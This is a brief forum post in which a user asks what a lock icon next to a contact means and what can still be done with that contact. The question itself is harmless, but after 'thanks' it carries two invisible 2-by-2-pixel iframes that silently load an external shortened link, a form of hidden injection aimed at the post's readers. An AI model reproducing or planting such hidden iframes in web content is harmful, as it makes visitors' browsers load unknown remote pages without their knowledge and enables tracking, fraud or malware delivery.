lock near the contact

What does it means the lock symbol next to a contact? if a contact has the lock on what actions you can do that contact?
thanks <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
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